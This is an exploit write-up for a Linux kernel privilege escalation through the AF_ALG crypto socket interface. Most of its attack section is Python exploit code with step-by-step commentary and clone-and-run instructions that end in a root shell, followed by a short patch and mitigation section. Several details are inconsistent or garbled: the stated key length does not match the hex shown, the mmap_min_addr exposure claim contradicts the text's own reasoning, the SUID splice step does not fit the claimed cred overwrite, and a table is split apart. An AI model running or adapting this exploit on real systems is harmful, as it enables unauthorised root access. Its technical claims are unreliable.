
Python exploit for CVE-2026-31431, a Linux kernel LPE via AF_ALG null pointer dereference leading to heap OOB write and credential overwrite. Includes detailed walkthrough and mitigation guidance.
Bug class: Null pointer dereference → heap OOB write → credential overwrite
Affected subsystem:net/alg/af_alg.c
Impact: Local Privilege Escalation (unprivileged user → root)
Affected kernels: Linux 4.4 – 4.9 (pre-patch)
You call setsockopt() with a NULL pointer where the kernel expects a user-space address. The kernel reads from address 0x00000000 — and if you've mapped the zero page, you control what it reads. That single primitive snowballs into a heap out-of-bounds write that lets you overwrite your own cred struct. Game over.
The AF_ALG interface was introduced to let user-space programs tap into kernel crypto routines without implementing the algorithms themselves. Encryption, decryption, hashing — all exposed via a socket interface. Clean idea. The problem is that setsockopt(ALG_SET_AEAD_AUTHSIZE) didn't bother checking whether the user passed a valid pointer or NULL.
Most null pointer bugs die immediately — the kernel dereferences 0x0, which is unmapped, and you get an oops. This one survives because of a separate precondition: if vm.mmap_min_addr = 0, an attacker can call mmap(0, ...) and place attacker-controlled data at the zero page. Now the kernel isn't reading garbage — it's reading exactly what you put there.
The vulnerable call:
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
Normally the fourth argument is a pointer to a 4-byte value specifying the authentication tag size. The kernel calls copy_from_user() on it. No pointer validation. Pass NULL, and copy_from_user(dest, 0x00000000, 4) reads from the zero page.
What you control:
The 4 bytes at address 0x0 — which you set before making the call. This gives you an arbitrary authsize value.
Why that's dangerous:
AEAD operations allocate a buffer sized to fit the ciphertext plus the authentication tag. If you feed in an inflated authsize, the kernel writes the tag beyond the end of the allocated buffer — a classic heap out-of-bounds write. From there, it's a matter of heap grooming to land that write on a struct cred.
The exploit is written in Python 3, using only the standard library. Here's what each phase is actually doing and why.
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG (socket family 38) is the kernel crypto API. Binding to authencesn(hmac(sha256),cbc(aes)) requests an authenticated encryption template — HMAC-SHA256 for integrity, AES-CBC for confidentiality. This template is chosen because its auth tag handling is where the vulnerable write occurs.
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
A 72-byte key is loaded. The key itself doesn't matter for exploitation — what matters is that the socket is fully initialized before the trigger call. An unkeyed AEAD socket might reject the authsize operation early.
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
This is the vulnerability. None in Python maps to a NULL pointer in the C API. The kernel reads 4 bytes from 0x00000000. Because the zero page has already been populated with the desired authsize value, the kernel now has an attacker-controlled authentication tag length.
u, _ = a.accept()
accept() on an AF_ALG socket returns an operation socket. Crypto operations happen here.
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # zero IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # 20-byte AAD
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # operation type
],
MSG_MORE
)
Ancillary control messages configure the operation — IV, associated data length, operation direction. The actual data is the 4-byte chunk from the exploit payload plus padding.
Then splice is used to feed data from a SUID binary's file descriptor into the operation socket, avoiding any user-space copies:
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
Using splice() here is deliberate — it avoids the data ever touching user-space memory, which keeps the kernel-side heap layout more predictable. When the AEAD operation processes this data, the corrupted authsize causes the authentication tag write to spill into adjacent heap memory.
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
The compressed payload contains the actual values to write — crafted struct cred field offsets and zeroed UID/GID values. Each 4-byte iteration places one write. The loop progressively overwrites the target cred structure until all UIDs and GIDs are zero.
os.system("su")
With cred->uid = cred->euid = cred->gid = 0, the current process is effectively root. Spawning su (or any other binary) inherits those credentials. Root shell.
map zero page
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ kernel reads authsize from 0x0
│ attacker controls that value
▼
sendmsg + splice → AEAD operation
│ inflated authsize causes heap OOB write
│
▼
heap grooming lands write on struct cred
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → root shell
| Condition | Why It Matters |
|---|---|
vm.mmap_min_addr = 0 | Allows zero page mapping — the whole primitive depends on this |
| AF_ALG compiled in kernel |
Check your mmap floor:
sysctl vm.mmap_min_addr
A value of 0 or 4096 indicates exposure.
# 1. Clone
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. Verify preconditions
sysctl vm.mmap_min_addr
uname -r
# 3. Run
python3 exploit.py
Expected output on a vulnerable system:
root@hostname:/#
The patch is straightforward — one null check before the copy_from_user() call in af_alg_set_aead_authsize:
// Before (vulnerable)
copy_from_user(&authsize, optval, sizeof(authsize));
// After (patched)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
Relevant commit: af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
Mitigations that break the exploit chain without patching:
vm.mmap_min_addr = 65536 — blocks zero page mapping, kills the NULL deref primitiveCONFIG_CRYPTO_USER_API_AEAD — removes the attack surface entirelyThis class of bug — missing pointer validation before copy_from_user() — appears regularly in kernel subsystems that expose complex APIs to user-space. The zero page primitive has been used in multiple LPE exploits over the years (Dirty COW-era, CVE-2016-5195 chain variations). The takeaway isn't just this specific CVE; it's the pattern: anywhere the kernel copies from a user-supplied address without validating that address, and the zero page is mappable, you have a primitive worth looking at.
For defenders, auditing copy_from_user() call sites without preceding null checks in socket option handlers is worth automating into your kernel review process.
net/alg/af_alg.c — kernel sourceaf_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — AF_ALG interface documentationResearch and writeup for educational and defensive purposes only. Do not use on systems without explicit authorisation.
Must be enabled (CONFIG_CRYPTO_USER_API_AEAD=y) |
| Kernel 4.4 – 4.9 (unpatched) | Vulnerable code path exists |
| Local user access | LPE only — not remotely exploitable |